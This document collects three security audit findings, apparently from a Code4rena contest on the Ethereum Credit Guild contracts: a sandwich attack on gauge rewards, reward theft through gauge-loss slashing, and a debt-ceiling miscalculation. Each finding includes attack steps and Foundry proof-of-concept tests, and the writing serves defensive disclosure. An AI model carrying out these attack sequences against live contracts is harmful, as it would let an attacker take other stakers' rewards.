Ethereum Credit Guild - EllipticPoint's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L391-L400

Vulnerability details

Impact

A malicious user can sandwich the notifyPnL function call to claim most of the gauge rewards for themselves.

Proof of Concept

When a positive PnL is notified, the gauge's profit index increases to instantly distribute rewards to all users who have assigned weight to the gauge.

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L391-L400

                if (_gaugeWeight != 0) {
                    uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
                    if (_gaugeProfitIndex == 0) {
                        _gaugeProfitIndex = 1e18;
                    }
                    gaugeProfitIndex[gauge] =
                        _gaugeProfitIndex +
                        (amountForGuild * 1e18) /
                        _gaugeWeight;
                }

Since rewards are distributed instantly upon calling notifyPnL, a malicious user can perform the following sandwich attack to claim most of the gauge rewards for themselves:

1. Assign a large amount of weight to a gauge that is about to receive a large positive PnL. This gives the user a large share of the incoming gauge rewards.

2. A big loan is repaid and closed, realizing a large positive PnL for the gauge (notifyPnL is called).

3. Claim gauge rewards in ProfitManager. Since the malicious user currently owns a large share of the gauge's weight, they will claim most of the gauge rewards for themselves.

4. Decrement the gauge's weight to close the sandwich attack.

Furthermore, if the loan is called instead of being repaid by the borrower, a malicious user can bid in the auction themselves such that they could perform the exploit atomically in one transaction. In this situation, they can use a flash loan to amplify their weight in the gauge even further and claim an even larger share of the gauge rewards.

Add the below test to test/unit/governance/ProfitManager.t.sol to see an example of a basic sandwich attack:

    function test_instantGaugeRewards() public {
        // grant roles to test contract
        vm.startPrank(governor);
        core.grantRole(CoreRoles.GOVERNOR, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        vm.stopPrank();

        // Assign 100% split to guild
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0, // creditSplit
            1e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        
        guild.setMaxGauges(3);
        guild.addGauge(1, gauge1);
        guild.addGauge(1, gauge2);
        guild.addGauge(1, gauge3);

        uint256 aliceGuildAmount = 100e18;
        guild.mint(alice, aliceGuildAmount);
        vm.startPrank(alice);
        guild.incrementGauge(gauge1, aliceGuildAmount);
        vm.stopPrank();

        skip(30 days);

        // Bob increments gauge right before `notifyPnL`
        uint256 bobGuildAmount = 999_900e18;
        guild.mint(bob, bobGuildAmount);
        vm.startPrank(bob);
        guild.incrementGauge(gauge1, bobGuildAmount);
        vm.stopPrank();

        // simulate 100 profit on gauge1
        uint256 profit = 100e18;
        credit.mint(address(profitManager), profit);
        profitManager.notifyPnL(gauge1, int256(profit));

        // Both Alice and Bob claim rewards
        profitManager.claimRewards(alice);
        profitManager.claimRewards(bob);

        // Bob decrements gauge after claiming rewards
        vm.startPrank(bob);
        guild.decrementGauge(gauge1, bobGuildAmount);
        vm.stopPrank();

        assertEq(credit.balanceOf(alice), (profit * aliceGuildAmount) / 1_000_000e18);
        assertEq(credit.balanceOf(bob), (profit * bobGuildAmount) / 1_000_000e18);
    }

Tools Used

Manual review

Recommended Mitigation Steps

Implement either of the following fixes:

• Allow gauge rewards to accrue gradually over time instead of instantly. This can be achieved using the same interpolation mechanism that exists inside ERC20RebaseDistributor.

• Add a delay to when gauge rewards kick in after a user has assigned weight to a gauge.

Assessed type

MEV

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L388-L400 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L142-L147

Vulnerability details

Impact

A malicious actor can slash other users' gauge weights to earn the entire share of subsequent gauge rewards for themselves.

Proof of Concept

A gauge's profit index is incremented whenever there's a positive PnL event through the following lines:

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L388-L400

    uint256 _gaugeWeight = uint256(
        GuildToken(guild).getGaugeWeight(gauge)
    );
    if (_gaugeWeight != 0) {
        uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
        if (_gaugeProfitIndex == 0) {
            _gaugeProfitIndex = 1e18;
        }
        gaugeProfitIndex[gauge] =
            _gaugeProfitIndex +
            (amountForGuild * 1e18) /
            _gaugeWeight;
    }

The calculation depends on the total weight assigned to that gauge (_gaugeWeight), which can be manipulated by calling GuildToken.applyGaugeLoss.

Through malicious transaction/function call ordering, a malicious actor can steal all subsequent gauge rewards for themselves. When a lending term is about to be off-boarded, a malicious actor can perform the following attack:

1. Front-run the off-boarding transaction and assign a small amount of GUILD to that gauge.

2. Right after off-boarding has been initiated, call a loan that will incur bad debt, i.e., loanDebtInUSD > collateralInUSD.

3. Wait until the loan has been closed and has notified ProfitManager of a negative PnL event (or bid on the auction when PnL hits negative).

4. Apply gauge loss to every other account assigned to that gauge.

5. Trigger positive PnL events either through bidding on called loans or ordering loan repayments after gauge losses have been applied.

6. Claim gauge rewards.

Steps 3-6 can be executed inside a MEV bundle to ensure that the malicious actor's gauge weight is the only one that is not slashed before gauge rewards are distributed.

Add the following test to test/unit/tokens/GuildToken.t.sol to see an example of how gauge rewards can be stolen:

    function test_applyGaugeLoss_stealRewards() public {

        // Assign 100% split to guild
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0, // creditSplit
            1e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        // Alice has 40 GUILD assigned to gauge1
        // Notify PnL with loss in gauge 1,
        _setupAliceLossInGauge1();

        // Mint CREDIT to ProfitManager so it has enough tokens to distribute when there's positive PnL
        uint256 profitAmount = 1000e18;
        credit.mint(address(profitManager), profitAmount);

        // Bob acquires 1 GUILD token
        uint256 bobWeight = 1e18;
        token.mint(bob, bobWeight);

        // In the same block as the loss in gauge 1, Bob does the following:
        vm.startPrank(bob);

        // 1. Assign 1 GUILD to the gauge
        token.incrementGauge(gauge1, bobWeight);

        // 2. Call `applyGaugeLoss` on Alice
        token.applyGaugeLoss(gauge1, alice);

        // 3. Trigger a positive PnL event
        // (PnL simulated)
        vm.startPrank(address(this));
        profitManager.notifyPnL(gauge1, int256(profitAmount));
        vm.stopPrank();

        // 4. Claim all rewards from the positive PnL
        profitManager.claimGaugeRewards(bob, gauge1);

        vm.stopPrank();

        // Bob receives ALL rewards from the positive PnL
        assertEq(credit.balanceOf(bob), profitAmount);
    }

Tools Used

Manual review

Recommended Mitigation Steps

To properly mitigate against this attack, the slashing mechanism needs to be redesigned.

A band-aid solution to prevent this attack in the case of off-boarded lending terms can be to only allow slashing after all loans in the lending term have been closed.

Assessed type

MEV

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L255-L331 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L222-L231

Vulnerability details

Impact

The debtCeiling function will return an incorrect value that will be lower than the actual debt ceiling of the lending term.

Since the debt ceiling value will be severely lower than intended, users that have staked GUILD into the gauge cannot unstake when they should be able to.

Proof of Concept

The debtCeiling function is intended to return the maximum amount of open debt inside the lending term. It's supposed to mimic the debt ceiling checks that are performed inside _borrow. It is checked against the issuance of the lending term as seen in GuildToken._decrementGauge.

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L222-L231

    // check if gauge is currently using its allocated debt ceiling.
    // To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used.
    uint256 issuance = LendingTerm(gauge).issuance();
    if (issuance != 0) {
        uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
        require(
            issuance <= debtCeilingAfterDecrement,
            "GuildToken: debt ceiling used"
        );
    }

However, the debtCeiling function uses creditMinterBuffer, which represents a limit on the rate of CREDIT that can be minted. This is the incorrect way to calculate the debt ceiling, and will result in a returned debt ceiling that is lower than intended as min(creditMinterBuffer, hardCap, debtCeiling) is used to calculate the returned debt ceiling.

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L322-L330

    uint256 _debtCeiling = _issuance + maxBorrow;
    // return min(creditMinterBuffer, hardCap, debtCeiling)
    if (creditMinterBuffer < _debtCeiling) {
        return creditMinterBuffer;
    }
    if (_hardCap < _debtCeiling) {
        return _hardCap;
    }
    return _debtCeiling;

To make this concept clearer, the PoC below demonstrates a scenario where the buffer has been depleted to 0 and Alice cannot decrement her gauge weight by a 0 amount. The test should pass but it fails.

    function test_debtCeiling_buffer() public {

        address alice = makeAddr("alice");
        address bob = makeAddr("bob");

        uint256 minBorrow = profitManager.minBorrow();

        // Remove all assigned gauge weight from `term` that was assigned during setup
        guild.decrementGauge(address(term), _HARDCAP);
        assertEq(guild.getGaugeWeight(address(term)), 0);

        // Set buffer cap to 1 CREDIT
        uint256 bufferCap = minBorrow;
        vm.prank(governor);
        rlcm.setBufferCap(uint128(bufferCap));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 3 days);
        assertEq(rlcm.buffer(), bufferCap);

        // Alice assigns 100 GUILD to gauge
        uint256 incrementAmount = 100e18;
        guild.mint(alice, incrementAmount);
        vm.prank(alice);
        guild.incrementGauge(address(term), incrementAmount);

        // Bob borrows to deplete buffer
        uint256 borrowAmount = minBorrow;
        uint256 collateralAmount = _CREDIT_PER_COLLATERAL_TOKEN * borrowAmount;
        collateral.mint(bob, collateralAmount);
        vm.startPrank(bob);
        collateral.approve(address(term), collateralAmount);
        term.borrow(borrowAmount, collateralAmount);
        vm.stopPrank();
        assertEq(rlcm.buffer(), 0);

        // Alice tries to decrement gauge by 0 but can't
        vm.prank(alice);
        guild.decrementGauge(address(term), 0); // @audit this will revert

    }

The code path that is taken inside debtCeiling for the above PoC is below, where the return value is min(creditMinterBuffer, hardCap).

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L287-L292

        } else if (gaugeWeight == totalWeight) {
            // one gauge, unlimited debt ceiling
            // returns min(hardCap, creditMinterBuffer)
            return
                _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
        }

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Do not use the creditMinterBuffer to calculate the debt ceiling of a lending term. The only relevant variables are hardCap and the calculated debtCeiling using totalBorrowedCredit and gaugeWeight, gaugeWeightTolerance.

Assessed type

DoS